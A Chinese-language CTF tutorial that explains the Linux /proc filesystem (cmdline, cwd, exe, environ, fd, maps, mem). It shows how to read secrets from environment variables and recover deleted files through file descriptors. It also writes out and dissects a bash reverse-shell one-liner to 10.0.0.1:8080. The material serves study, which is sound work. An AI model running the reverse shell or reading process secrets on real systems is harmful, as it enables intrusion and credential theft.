参考文章:Proc 目录在 CTF 中的利用-安全客 - 安全资讯平台 (anquanke.com)

/proc目录是什么

Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。

这里看一下/proc目录下有什么

ls -al /proc

image-20240310230848618

目录中包含许多以数字命名的子目录,这些数字表示系统当前正在运行进程的进程号(PID),里面包含对应进程相关的多个信息文件。

image-20240310231053017

进程号为1的文件里有这些文件,其中有些文件是每个进程都会有的,ctf中我们需要的就是利用这些通用的文件来获取一些进程中的相关信息。

/proc目录作用

/proc/self指向的就是当前进程号的目录,这个会经常用到,因为比如靶机启动的时候会有一个自己的进程,这个时候就可以通过/proc/self来获取当前的进程号,进而获取我们需要的信息。

cmdline

cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息。可以通过查看cmdline目录获取启动指定进程的完整命令:

cat /proc/117/cmdline

image-20240310231615078

比如目标启动了一个web服务的时候,比如python ./app.py,我们就可以通过cat /proc/self/cmdline来获得这个启动命令了。

cwd

cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录:

ls /proc/117/cwd

image-20240310231940043

ls -al /proc/7163/cwd

image-20240310232042034

exe

exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径:

ls -al /proc/117/exe

image-20240310232728115

environ

environ 文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开。变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息:

cat /proc/117/environ

image-20240310232953047

有时候secret_key会放在环境变量我们就可以去读取

fd

fd 是一个目录,里面包含这当前进程打开的每一个文件的文件描述符(file descriptor),这些文件描述符是指向实际文件的一个符号链接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录里的文件获得指定进程打开的每个文件的路径以及文件内容。

ls -al /proc/117/fd

image-20240310233433456

然后想查看某个文件可以去cat对应的描述符

cat /proc/117/fd/7

image-20240310233618051

在 linux 系统中,如果一个程序用open()打开了一个文件但最终没有关闭他,即便从外部(如os.remove(SECRET_FILE))删除这个文件之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容。

bash反弹shell命令的编写也和fd有关,现在拿反弹shell的命令来解析一下,参考文章:https://www.anquanke.com/post/id/85712

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

bash -i就是打开一个交互式的bash

/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

重点就是这个**>&**是什么意思

先来了解一下Linux中常用的文件描述符:

  • 标准输入(stdin):代码为0,映射关系:/dev/stdin -> /proc/self/fd/0
  • 标准输出(stdout):代码为1,映射关系:/dev/stdout-> /proc/self/fd/1
  • 标准错误输出(stderr):代码为2,映射关系:/dev/stderr -> /proc/self/fd/2

image-20240406232216675

>& 是一个重定向操作符,它用于将文件描述符(file descriptor)重定向到另一个文件描述符或文件,不过这个符号和&>都是一个意思,也就是说上面的反弹shell命令换成这种符号也没关系。

例如2>&1就是将错误输出重定向到标准输出,也就是这两个流合为一条流了,报错和没报错的信息都会显示出来

>&后面接文件的时候,就代表将标准输出和标准错误输出重定向至文件

而在后面加上0>&1就是将标准输入重定向至标准输出,而这里标准输出已经重定向至远程了,所以这里的标准输入也重定向至远程,这就保证了所有的命令执行都在这个tcp连接里面进行。

重定向符的意义:

> 和 < 分别代表重定向方向
>> 和 << 分别代表追加
2> 和 2>> 就是标准错误输出的使用

所以整个指令的大概原理就是创建一个交互式的shell利用>&重定向至tcp连接,然后0>&1将文件描述符 0(标准输入)重定向到文件描述符 1(标准输出)的意思,也就是将输入和输出合并为一个流。这样做是为了确保命令的输入和输出都通过网络套接字进行交互。

综合起来,该命令的目的是将 Bash 的标准输入、标准输出和标准错误输出都重定向到指定的网络套接字。

maps

maps文件提供了有关当前进程地址空间中内存映射的信息。你可以看到包含当前进程地址空间中所有已映射内存区域(如代码段、数据段、堆、栈等)的详细信息。每一行表示一个内存区域,其中包含了该区域的起始地址、结束地址、访问权限等信息。

cat /proc/117/maps

image-20240310234519798

上面的信息依次如下:

起始地址-结束地址 权限 偏移量 设备号 节点号 文件名

mem

/proc/self/mem 是一个特殊文件,它代表当前进程的内存映射。通过对该文件进行读取和写入操作,可以读取和修改当前进程的物理内存。它用于对进程的内存进行读写操作,通常用于调试和分析工具。

ls -al /proc/117/mem

image-20240310235303267